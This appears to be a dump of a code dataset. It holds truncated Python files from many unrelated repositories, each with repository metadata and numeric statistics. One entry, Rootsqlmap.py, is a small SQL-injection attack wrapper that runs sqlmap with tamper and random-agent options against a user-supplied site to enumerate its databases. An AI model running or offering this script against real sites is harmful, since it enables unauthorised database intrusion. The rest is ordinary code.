import numpy as np import keras as keras import keras.backend as K import sys sys.path.append('..') from attribution.methods import InternalInfluence, AumannShapley from test_utils import run_test def zero_weight(): inp = keras.layers.Input(shape=(10,)) outp = keras.layers.Dense(1, kernel_initializer=keras.init...
28.932692
126
0.713194
469
3,009
4.460554
0.17484
0.052581
0.133843
0.094646
0.739006
0.707457
0.691205
0.691205
0.691205
0.691205
0
0.042569
0.110003
3,009
103
127
29.213592
0.738611
0
0
0.438356
0
0
0.017952
0.007979
0
0
0
0
0
1
0.09589
false
0
0.082192
0
0.260274
0
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
e65f8933b4881ed1c3491a2a75f43fda9efbc85e
886
py
Python
tests/test_lm/serialtestclass.py
DeMarcoLab/piescope
ea7acf5b198b91e4923097711d55ca038763eba2
[ "MIT" ]
4
2019-06-07T07:28:48.000Z
2022-02-23T23:02:08.000Z
tests/test_lm/serialtestclass.py
DavidDierickx/piescope-1
fb216c294917423210af02da2ca2f1d0c71fc5f1
[ "MIT" ]
44
2019-06-09T14:32:16.000Z
2022-03-25T06:04:20.000Z
tests/test_lm/serialtestclass.py
DeMarcoLab/piescope
ea7acf5b198b91e4923097711d55ca038763eba2
[ "MIT" ]
3
2019-06-07T07:31:09.000Z
2021-03-01T10:47:24.000Z
# Testing serial ports # https://faradayrf.com/unit-testing-pyserial-code/ # Import modules import serial class SerialTestClass(object): """A mock serial port test class""" def __init__(self): """Creates a mock serial port which is a loopback object""" self.device = "test" self._port...
22.717949
67
0.555305
97
886
4.865979
0.453608
0.074153
0.118644
0.152542
0.177966
0
0
0
0
0
0
0.011844
0.332957
886
38
68
23.315789
0.786802
0.191874
0
0.26087
0
0
0.015647
0
0
0
0
0
0
1
0.304348
false
0.26087
0.043478
0
0.391304
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
2
e6691b21adba170953097043b73e85ebf20c9d0c
1,095
py
Python
scripts/field/enter_331003200.py
G00dBye/YYMS
1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb
[ "MIT" ]
54
2019-04-16T23:24:48.000Z
2021-12-18T11:41:50.000Z
scripts/field/enter_331003200.py
G00dBye/YYMS
1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb
[ "MIT" ]
3
2019-05-19T15:19:41.000Z
2020-04-27T16:29:16.000Z
scripts/field/enter_331003200.py
G00dBye/YYMS
1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb
[ "MIT" ]
49
2020-11-25T23:29:16.000Z
2022-03-26T16:20:24.000Z
# Created by MechAviv # Kinesis Introduction # Map ID :: 331003200 # Subway :: Subway Car #3 JAY = 1531001 GIRL = 1531067 sm.spawnNpc(GIRL, 699, 47) sm.showNpcSpecialActionByTemplateId(GIRL, "summon") sm.spawnMob(2700303, 250, 57, False) sm.spawnMob(2700303, 250, 57, False) sm.spawnMob(2700303, 250, 57, False) sm.spa...
30.416667
78
0.738813
158
1,095
5.101266
0.360759
0.147643
0.167494
0.295285
0.598015
0.504963
0.504963
0.504963
0.504963
0.504963
0
0.224615
0.109589
1,095
36
78
30.416667
0.602051
0.075799
0
0.6
0
0
0.125124
0.033764
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c6fe64a209d4ff302fe9abeeee74602440f4283d
1,492
py
Python
desktop_local_tests/macos/test_macos_packet_capture_disrupt_reorder_services.py
UAEKondaya1/expressvpn_leak_testing
9e4cee899ac04f7820ac351fa55efdc0c01370ba
[ "MIT" ]
219
2017-12-12T09:42:46.000Z
2022-03-13T08:25:13.000Z
desktop_local_tests/macos/test_macos_packet_capture_disrupt_reorder_services.py
UAEKondaya1/expressvpn_leak_testing
9e4cee899ac04f7820ac351fa55efdc0c01370ba
[ "MIT" ]
11
2017-12-14T08:14:51.000Z
2021-08-09T18:37:45.000Z
desktop_local_tests/macos/test_macos_packet_capture_disrupt_reorder_services.py
UAEKondaya1/expressvpn_leak_testing
9e4cee899ac04f7820ac351fa55efdc0c01370ba
[ "MIT" ]
45
2017-12-14T07:26:36.000Z
2022-03-11T09:36:56.000Z
from desktop_local_tests.local_packet_capture_test_case_with_disrupter import LocalPacketCaptureTestCaseWithDisrupter from desktop_local_tests.macos.macos_reorder_services_disrupter import MacOSDNSReorderServicesDisrupter class TestMacOSPacketCaptureDisruptReorderServices(LocalPacketCaptureTestCaseWithDisrupter): ...
37.3
117
0.776139
199
1,492
5.713568
0.60804
0.013193
0.028144
0.036939
0
0
0
0
0
0
0
0.002481
0.189678
1,492
39
118
38.25641
0.937965
0.644102
0
0
0
0
0
0
0
0
0
0.025641
0
1
0.2
false
0
0.4
0
0.8
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
1
0
0
0
0
2
0524dbe9cf38fe4b01019bd838b879c16875a116
1,004
py
Python
Rootsqlmap.py
RootMrSpy/root-sql-scanner
bea24012387214abd4cc777f8ad01a99ffbbd66c
[ "Unlicense" ]
null
null
null
Rootsqlmap.py
RootMrSpy/root-sql-scanner
bea24012387214abd4cc777f8ad01a99ffbbd66c
[ "Unlicense" ]
null
null
null
Rootsqlmap.py
RootMrSpy/root-sql-scanner
bea24012387214abd4cc777f8ad01a99ffbbd66c
[ "Unlicense" ]
null
null
null
import time import os print("[+] Root sql scanner") print("[+] Code by RootMrSpy") print("") site = input("[+] Saldırı yapılacak site: ") print("") os.system("sqlmap.py -u " + site + " --risk=3 --level=5 --tamper=between --random-agent --no-cast --batch --threads=10 --dbs") print("") database = input("...
33.466667
181
0.578685
132
1,004
4.401515
0.325758
0.048193
0.089501
0.130809
0.685026
0.685026
0.685026
0.685026
0.685026
0.685026
0
0.019394
0.178287
1,004
29
182
34.62069
0.684848
0
0
0.4
0
0.2
0.590769
0
0
0
0
0
0
1
0
false
0
0.1
0
0.1
0.5
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
2
0532730066a4bdbf4101a00faf535f9d8f6eb1d2
207
py
Python
hackerrank/30DaysOfCode/06_ReviewLoop.py
mizukirc/python-snippets
92e36ba59e978dd764e1e4b570ac3b66c1381e69
[ "MIT" ]
null
null
null
hackerrank/30DaysOfCode/06_ReviewLoop.py
mizukirc/python-snippets
92e36ba59e978dd764e1e4b570ac3b66c1381e69
[ "MIT" ]
null
null
null
hackerrank/30DaysOfCode/06_ReviewLoop.py
mizukirc/python-snippets
92e36ba59e978dd764e1e4b570ac3b66c1381e69
[ "MIT" ]
null
null
null
# https://www.hackerrank.com/challenges/30-review-loop/ T = int(input()) S = list() for i in range(T): S.append(str(input())) for i in range(len(S)): print(S[i][0] + S[i][2::2] + ' ' + S[i][1::2])
20.7
55
0.555556
40
207
2.875
0.6
0.052174
0.104348
0.191304
0
0
0
0
0
0
0
0.040698
0.169082
207
9
56
23
0.627907
0.256039
0
0
0
0
0.006579
0
0
0
0
0
0
1
0
false
0
0
0
0
0.166667
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
0538c85b60839e2414a55cce512b5ad837bde4dc
1,699
py
Python
tests/test_code.py
MattDMo/PythonImproved
bf64c32c0bfd554503d5537b0edbfbc11b8d3b29
[ "MIT" ]
83
2015-02-03T11:13:30.000Z
2021-05-26T20:09:29.000Z
tests/test_code.py
MattDMo/PythonImproved
bf64c32c0bfd554503d5537b0edbfbc11b8d3b29
[ "MIT" ]
52
2015-01-07T20:46:53.000Z
2020-04-18T18:50:43.000Z
tests/test_code.py
MattDMo/PythonImproved
bf64c32c0bfd554503d5537b0edbfbc11b8d3b29
[ "MIT" ]
17
2015-02-18T23:58:22.000Z
2018-06-20T14:54:37.000Z
from . import foo from .. import bar from ... import baz import ...snurp def blah(...): pass class Foo(tuple): @staticmethod def __new__(cls, initialValue=(0,0)): return tuple.__new__(cls, initialValue) class Bar(tuple): def __init__(self, initialValue=(0,0)): super(tuple, self)._...
15.035398
55
0.633314
227
1,699
4.497797
0.436123
0.031342
0.03526
0.029383
0.070519
0.03526
0.03526
0
0
0
0
0.020974
0.214244
1,699
112
56
15.169643
0.74382
0.060624
0
0.15493
0
0
0.033965
0
0
0
0
0
0
0
null
null
0.070423
0.056338
null
null
0.126761
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
053f33c963351b9760c153804820d645631a8562
15,396
py
Python
pysnmp/A3COM0420-SWITCH-EXTENSIONS.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
11
2021-02-02T16:27:16.000Z
2021-08-31T06:22:49.000Z
pysnmp/A3COM0420-SWITCH-EXTENSIONS.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
75
2021-02-24T17:30:31.000Z
2021-12-08T00:01:18.000Z
pysnmp/A3COM0420-SWITCH-EXTENSIONS.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
10
2019-04-30T05:51:36.000Z
2022-02-16T03:33:41.000Z
# # PySNMP MIB module A3COM0420-SWITCH-EXTENSIONS (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/A3COM0420-SWITCH-EXTENSIONS # Produced by pysmi-0.3.4 at Mon Apr 29 16:54:17 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python versio...
146.628571
1,990
0.76338
1,655
15,396
7.101511
0.132326
0.008508
0.011486
0.015315
0.45197
0.384072
0.30171
0.30171
0.30171
0.28095
0
0.076804
0.076513
15,396
104
1,991
148.038462
0.749824
0.022603
0
0
0
0
0.145156
0.028659
0
0
0
0
0
1
0
false
0
0.082474
0
0.082474
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
0545310e9a9e476687effeda0ef34bca4dadf704
15,871
py
Python
test/tst_cooper.py
arximboldi/cooper
639d00932a21290fb9d7fe1cb0aed283b6785820
[ "MIT" ]
6
2015-07-22T14:25:47.000Z
2018-04-01T10:32:46.000Z
test/tst_cooper.py
arximboldi/cooper
639d00932a21290fb9d7fe1cb0aed283b6785820
[ "MIT" ]
null
null
null
test/tst_cooper.py
arximboldi/cooper
639d00932a21290fb9d7fe1cb0aed283b6785820
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # # File: cooper.py # Author: Juan Pedro Bolívar Puente <raskolnikov@es.gnu.org> # Date: Fri Jan 20 16:12:23 2012 # # # Copyright (c) 2012, 2015 Juan Pedro Bolivar Puente <raskolnikov@gnu.org> # # Permission is hereby granted, free of charge, to any person # obtaining a co...
34.131183
83
0.619495
1,830
15,871
4.930055
0.143716
0.032587
0.037242
0.041898
0.574374
0.514409
0.461317
0.396364
0.356905
0.324873
0
0.00569
0.291349
15,871
464
84
34.204741
0.796479
0.080209
0
0.566138
0
0
0.025787
0
0
0
0
0
0.071429
0
null
null
0.058201
0.021164
null
null
0.039683
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
05624a2bf83b04819e388ce4c33a781536b85abd
220
py
Python
run_gui.py
f4ble/Arkon
b352c25968aed1b00e6d7fd58ac697c4ae6633ac
[ "Apache-2.0" ]
1
2015-12-16T23:26:46.000Z
2015-12-16T23:26:46.000Z
run_gui.py
f4ble/Arkon
b352c25968aed1b00e6d7fd58ac697c4ae6633ac
[ "Apache-2.0" ]
4
2015-12-23T02:46:56.000Z
2016-01-31T18:06:44.000Z
run_gui.py
f4ble/Arkon
b352c25968aed1b00e6d7fd58ac697c4ae6633ac
[ "Apache-2.0" ]
null
null
null
from configs.config_base import ConfigBase ConfigBase.load_config() from translation import Translation from factory import Factory trans = Translation() Factory.set('Translation',trans) import ark.gui ark.gui.init()
18.333333
42
0.813636
29
220
6.103448
0.482759
0.067797
0
0
0
0
0
0
0
0
0
0
0.104545
220
12
43
18.333333
0.898477
0
0
0
0
0
0.049774
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
05642669626e2c66f5efa480d9d7380e358e500b
546
py
Python
accounts/migrations/0004_auto_20210517_1624.py
bencko/test_blog_api
5b2c64b6cb54a6e45ef3ab8261372b6040321585
[ "MIT" ]
null
null
null
accounts/migrations/0004_auto_20210517_1624.py
bencko/test_blog_api
5b2c64b6cb54a6e45ef3ab8261372b6040321585
[ "MIT" ]
4
2021-05-18T12:13:41.000Z
2021-05-24T18:44:18.000Z
accounts/migrations/0004_auto_20210517_1624.py
bencko/test_blog_api
5b2c64b6cb54a6e45ef3ab8261372b6040321585
[ "MIT" ]
null
null
null
# Generated by Django 3.2.3 on 2021-05-17 16:24 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('accounts', '0003_auto_20210517_1623'), ] operations = [ migrations.RemoveField( model_name='subscribeslist', name='s...
23.73913
78
0.602564
53
546
6.075472
0.698113
0.055901
0.142857
0.167702
0.242236
0.242236
0
0
0
0
0
0.079487
0.285714
546
22
79
24.818182
0.746154
0.082418
0
0.375
1
0
0.206413
0.046092
0
0
0
0
0
1
0
false
0
0.0625
0
0.25
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
0568547b41c21710abbf9ed5b55a15d5603b2241
1,732
py
Python
tests/test_settings.py
olihawkins/pdpy
9f0058e4de432f09b69d556fa04d0889afac3fab
[ "BSD-3-Clause" ]
13
2018-12-09T14:56:27.000Z
2019-12-31T00:49:50.000Z
tests/test_settings.py
houseofcommonslibrary/pdpy
9f0058e4de432f09b69d556fa04d0889afac3fab
[ "BSD-3-Clause" ]
1
2021-04-11T02:03:40.000Z
2021-04-22T14:57:21.000Z
tests/test_settings.py
houseofcommonslibrary/pdpy
9f0058e4de432f09b69d556fa04d0889afac3fab
[ "BSD-3-Clause" ]
2
2021-04-11T01:36:06.000Z
2022-01-12T07:48:31.000Z
# -*- coding: utf-8 -*- """Test settings functions.""" # Imports --------------------------------------------------------------------- import unittest import pdpy.constants as constants import pdpy.settings as settings # Test get_api_url ------------------------------------------------------------ class GetApiUrl(...
27.492063
79
0.58776
202
1,732
4.678218
0.207921
0.215873
0.095238
0.137566
0.713228
0.713228
0.632804
0.594709
0.516402
0.516402
0
0.006447
0.193995
1,732
62
80
27.935484
0.670487
0.32448
0
0.576923
0
0
0.05036
0
0
0
0
0
0.192308
1
0.115385
false
0
0.115385
0
0.346154
0
0
0
0
null
1
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
056a8d9f00ce4d3cab4f00133b3a8ba29c861116
2,850
py
Python
gripy/binary.py
abrammer/gripy
1ce204a8f2f6a3015d3bc7cd1ce6e82d730673ac
[ "Apache-2.0" ]
null
null
null
gripy/binary.py
abrammer/gripy
1ce204a8f2f6a3015d3bc7cd1ce6e82d730673ac
[ "Apache-2.0" ]
null
null
null
gripy/binary.py
abrammer/gripy
1ce204a8f2f6a3015d3bc7cd1ce6e82d730673ac
[ "Apache-2.0" ]
null
null
null
"""Functions to handle binary data. Borrowed from pupygrib https://pypi.org/project/pupygrib/ """ import struct error = struct.error _uint8struct = struct.Struct(b">B") _uint16struct = struct.Struct(b">H") _uint24struct = struct.Struct(b">HB") _uint32struct = struct.Struct(b">I") _uint64struct = struct.Struct(b">Q"...
29.6875
74
0.649474
425
2,850
4.235294
0.265882
0.116667
0.144444
0.108889
0.539444
0.483333
0.444444
0.376667
0.175
0.165
0
0.057869
0.199649
2,850
95
75
30
0.731258
0.366667
0
0.047619
0
0
0.019287
0
0
0
0.026885
0
0
1
0.261905
false
0
0.02381
0
0.547619
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
056af860e48c21b96d99bcb72302647ff56048af
33,898
py
Python
exabel_data_sdk/stubs/exabel/api/data/v1/entity_service_pb2.py
aksestok/python-sdk
520a3d9822ffa9a023262b379ea3b3d19cb10853
[ "MIT" ]
1
2021-12-22T11:23:57.000Z
2021-12-22T11:23:57.000Z
exabel_data_sdk/stubs/exabel/api/data/v1/entity_service_pb2.py
aksestok/python-sdk
520a3d9822ffa9a023262b379ea3b3d19cb10853
[ "MIT" ]
18
2021-01-13T16:24:38.000Z
2022-03-15T13:32:29.000Z
exabel_data_sdk/stubs/exabel/api/data/v1/entity_service_pb2.py
aksestok/python-sdk
520a3d9822ffa9a023262b379ea3b3d19cb10853
[ "MIT" ]
10
2021-01-11T13:24:51.000Z
2021-12-17T20:53:06.000Z
# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: exabel/api/data/v1/entity_service.proto """Generated protocol buffer code.""" from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _refl...
45.870095
3,813
0.776476
4,229
33,898
5.883424
0.0655
0.030103
0.055384
0.062698
0.747277
0.679233
0.650778
0.585105
0.567019
0.562317
0
0.043812
0.09974
33,898
738
3,814
45.932249
0.771504
0.034899
0
0.636905
1
0.020833
0.215551
0.172086
0
0
0
0
0
1
0
false
0
0.014881
0
0.014881
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
056f9244b69a5a91979d16d41ee0b886454e378d
813
py
Python
libp2p/network/stream/net_stream_interface.py
magniff/py-libp2p
98f6ce2fab5a7dade292865aa0a38e5f68310a8e
[ "Apache-2.0", "MIT" ]
null
null
null
libp2p/network/stream/net_stream_interface.py
magniff/py-libp2p
98f6ce2fab5a7dade292865aa0a38e5f68310a8e
[ "Apache-2.0", "MIT" ]
null
null
null
libp2p/network/stream/net_stream_interface.py
magniff/py-libp2p
98f6ce2fab5a7dade292865aa0a38e5f68310a8e
[ "Apache-2.0", "MIT" ]
null
null
null
from abc import ABC, abstractmethod class INetStream(ABC): @abstractmethod def get_protocol(self): """ :return: protocol id that stream runs on """ @abstractmethod def set_protocol(self, protocol_id): """ :param protocol_id: protocol id that stream runs on ...
20.846154
59
0.571956
83
813
5.518072
0.409639
0.18559
0.117904
0.157205
0.310044
0.113537
0
0
0
0
0
0
0.344403
813
38
60
21.394737
0.859287
0.387454
0
0.416667
0
0
0
0
0
0
0
0
0
1
0.416667
false
0
0.083333
0
0.583333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
05724e9a29ddde891fb7d3cc17a427223767f9cf
16,604
py
Python
generate_csv.py
Dradoue/Boids
d7b79e49243c4a6fd437285b58ef6c0899e910d2
[ "MIT" ]
2
2021-04-06T14:41:27.000Z
2021-08-09T06:11:49.000Z
generate_csv.py
Dradoue/Boids
d7b79e49243c4a6fd437285b58ef6c0899e910d2
[ "MIT" ]
null
null
null
generate_csv.py
Dradoue/Boids
d7b79e49243c4a6fd437285b58ef6c0899e910d2
[ "MIT" ]
null
null
null
from typing import List, Any, Union import matplotlib.pyplot as plt import numpy as np import pandas as pd from sklearn.metrics import adjusted_rand_score from ML import DBscan_step_positions, DBscan_step_positions_and_velocity, build_ground_truth, \ DBscan_step_intuition_dist_multistep_1, DBscan_step_intuition_d...
51.8875
120
0.451698
1,582
16,604
4.434893
0.114412
0.062999
0.031499
0.026653
0.771522
0.70325
0.687286
0.648233
0.630701
0.621009
0
0.070295
0.476512
16,604
319
121
52.050157
0.736884
0.06107
0
0.562791
0
0
0.075826
0.019663
0.018605
0
0
0.003135
0
1
0
false
0
0.032558
0
0.032558
0.023256
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
057bf650dbb4ea67b88aa91802f9c3cd43f5adca
75
py
Python
gigglebot/nes-controlled/shared_config.py
carlosperate/microbit-programs
6500b6a80a8ab04204d3447d9de0f1115a89b95e
[ "MIT" ]
null
null
null
gigglebot/nes-controlled/shared_config.py
carlosperate/microbit-programs
6500b6a80a8ab04204d3447d9de0f1115a89b95e
[ "MIT" ]
null
null
null
gigglebot/nes-controlled/shared_config.py
carlosperate/microbit-programs
6500b6a80a8ab04204d3447d9de0f1115a89b95e
[ "MIT" ]
null
null
null
# microbit-module: shared_config@0.1.0 RADIO_CHANNEL = 17 MSG_DEYLAY = 50
15
38
0.76
13
75
4.153846
0.923077
0
0
0
0
0
0
0
0
0
0
0.107692
0.133333
75
4
39
18.75
0.723077
0.48
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
057d0127143f60ba12ed5cc34049ff9305186f72
469
py
Python
demo/src/publisher.py
Stubatiger/leek
10fc495f31042da59dbef77a757f87dcd0e527ae
[ "Apache-2.0" ]
55
2021-01-28T16:25:20.000Z
2022-03-09T09:30:53.000Z
demo/src/publisher.py
Stubatiger/leek
10fc495f31042da59dbef77a757f87dcd0e527ae
[ "Apache-2.0" ]
21
2021-03-22T10:49:29.000Z
2022-03-24T09:04:15.000Z
demo/src/publisher.py
Stubatiger/leek
10fc495f31042da59dbef77a757f87dcd0e527ae
[ "Apache-2.0" ]
9
2021-02-04T17:31:34.000Z
2022-03-17T02:23:50.000Z
import time from leek_demo.tasks.low import failed_task, succeeded_task, rejected_task, parent_task from leek_demo.tasks.high import critical_task, revoked_expired_task, recovered_task, revoked_terminated_task while True: succeeded_task.delay(4, 4) failed_task.delay() rejected_task.delay() critical_ta...
29.3125
109
0.776119
65
469
5.261538
0.369231
0.210526
0.070175
0.099415
0
0
0
0
0
0
0
0.007444
0.140725
469
15
110
31.266667
0.841191
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.230769
0
0.230769
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
0588e4d17897e71cd9d8ca6566de6cbaef09121a
2,723
py
Python
orders/models.py
IT-Support-L2/mytek
b168b3934775437fd462c67e59b9faa972f7dc4a
[ "MIT" ]
23
2021-09-14T16:34:48.000Z
2022-03-04T22:02:46.000Z
orders/models.py
IT-Support-L2/mytek
b168b3934775437fd462c67e59b9faa972f7dc4a
[ "MIT" ]
4
2021-10-04T20:08:32.000Z
2022-01-29T02:46:53.000Z
orders/models.py
IT-Support-L2/mytek
b168b3934775437fd462c67e59b9faa972f7dc4a
[ "MIT" ]
6
2021-09-30T06:28:12.000Z
2022-01-26T14:52:43.000Z
from django.db import models from accounts.models import Account from store.models import Product class Payment(models.Model): user = models.ForeignKey(Account, on_delete=models.CASCADE) payment_id = models.CharField(max_length=100) payment_method = models.CharField(max_length=100) amount_paid = model...
38.352113
121
0.709512
353
2,723
5.283286
0.243626
0.082038
0.144772
0.193029
0.569437
0.35067
0.29866
0.276676
0.202681
0.202681
0
0.017825
0.175909
2,723
70
122
38.9
0.81328
0.022402
0
0.2
0
0
0.057917
0
0
0
0
0
0
1
0.083333
false
0
0.05
0.066667
0.883333
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
058926edeca4c0a6be107a325530548d94b38a7a
527
py
Python
invert_binary_tree.py
joaoh82/leetcode_with_python
4627b69cbe9c7684e9df95968f7ac9d533a71055
[ "MIT" ]
null
null
null
invert_binary_tree.py
joaoh82/leetcode_with_python
4627b69cbe9c7684e9df95968f7ac9d533a71055
[ "MIT" ]
null
null
null
invert_binary_tree.py
joaoh82/leetcode_with_python
4627b69cbe9c7684e9df95968f7ac9d533a71055
[ "MIT" ]
null
null
null
# Invert a binary tree. # Input: # 4 # / \ # 2 7 # / \ / \ # 1 3 6 9 # # Output: # 4 # / \ # 7 2 # / \ / \ # 9 6 3 1 class TreeNode: def __init__(self, val): self.val = val self.left = None self.right = None class Solution: def invertTree...
16.46875
87
0.472486
62
527
3.951613
0.451613
0.057143
0.106122
0.187755
0.204082
0
0
0
0
0
0
0.045016
0.409867
527
32
88
16.46875
0.742765
0.254269
0
0
0
0
0
0
0
0
0
0
0
1
0.181818
false
0
0
0
0.545455
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
05979df676f69ddf9c69f0bac86fefa105a36444
558
py
Python
mywebsite/settings_sample.py
benjlombard/django-website_1
af41b63b45cfcb0aa8c8c35c5af54fda9e9ed847
[ "MIT" ]
null
null
null
mywebsite/settings_sample.py
benjlombard/django-website_1
af41b63b45cfcb0aa8c8c35c5af54fda9e9ed847
[ "MIT" ]
null
null
null
mywebsite/settings_sample.py
benjlombard/django-website_1
af41b63b45cfcb0aa8c8c35c5af54fda9e9ed847
[ "MIT" ]
null
null
null
""" Django settings for mywebsite project. Generated by 'django-admin startproject' using Django 2.1.7. For more information on this file, see https://docs.djangoproject.com/en/2.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.1/ref/settings/ """ from .conf....
20.666667
66
0.715054
81
558
4.91358
0.617284
0.020101
0.165829
0.188442
0.288945
0.288945
0.288945
0.288945
0.201005
0
0
0.018947
0.148746
558
26
67
21.461538
0.818947
0.781362
0
0
1
0
0.063636
0
0
0
0
0
0
1
0
false
0
0.125
0
0.125
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
552d5285505208bbb7e1c653b4a85b3342ec22b8
34,736
py
Python
ip_lookup.py
JimChr-R4GN4R/GreyNoiseSploit
c73685d1892659f9ca694a232d4ac39699c0ee62
[ "MIT" ]
1
2020-08-19T12:07:54.000Z
2020-08-19T12:07:54.000Z
ip_lookup.py
JimChr-R4GN4R/GreyNoiseSploit
c73685d1892659f9ca694a232d4ac39699c0ee62
[ "MIT" ]
null
null
null
ip_lookup.py
JimChr-R4GN4R/GreyNoiseSploit
c73685d1892659f9ca694a232d4ac39699c0ee62
[ "MIT" ]
null
null
null
import os import readline import sys import requests from subprocess import call from time import gmtime, strftime import re import socket import json ####################################################################################################################################### class AutoCompleter(object): ...
76.849558
415
0.201606
1,660
34,736
4.093373
0.173494
0.041207
0.033554
0.044739
0.446799
0.386755
0.371744
0.358646
0.325533
0.300662
0
0.01348
0.549372
34,736
451
416
77.019956
0.419856
0.202009
0
0.429268
0
0.063415
0.122662
0.01116
0
0
0.001835
0
0
1
0.039024
false
0.014634
0.043902
0
0.126829
0.141463
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
552f72cc2b26630080e93588edf6b335d6bc8099
2,690
py
Python
main.py
WardBenjamin/Captioneer
832a57ac444da8469fcc7e4375a20d0ca388f060
[ "MIT" ]
null
null
null
main.py
WardBenjamin/Captioneer
832a57ac444da8469fcc7e4375a20d0ca388f060
[ "MIT" ]
7
2021-05-24T01:44:17.000Z
2021-05-24T15:07:01.000Z
main.py
WardBenjamin/Captioneer
832a57ac444da8469fcc7e4375a20d0ca388f060
[ "MIT" ]
1
2021-05-24T01:48:15.000Z
2021-05-24T01:48:15.000Z
""" Main entry point """ from src.app import create_app if __name__ == "__main__": app = create_app() print("main") app.run() # import logging # import os # import pathlib # import sys # import urllib.parse # # _path_apps = {} # # def wv_static_server(path): # global _path_apps # # from webview ...
29.56044
105
0.573978
292
2,690
5.044521
0.417808
0.027155
0.035302
0.025798
0
0
0
0
0
0
0
0.0037
0.296654
2,690
90
106
29.888889
0.774841
0.89145
0
0
0
0
0.061224
0
0
0
0
0.011111
0
1
0
false
0
0.2
0
0.2
0.2
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
2
553afc41880f1fe48486ee8ed2749fe22ed9ac7a
53
py
Python
src/dnslookupapi/version.py
whois-api-llc/dns-lookup-py
dc8e8cf4fd942b349c418f8e1e2466f996001259
[ "MIT" ]
null
null
null
src/dnslookupapi/version.py
whois-api-llc/dns-lookup-py
dc8e8cf4fd942b349c418f8e1e2466f996001259
[ "MIT" ]
null
null
null
src/dnslookupapi/version.py
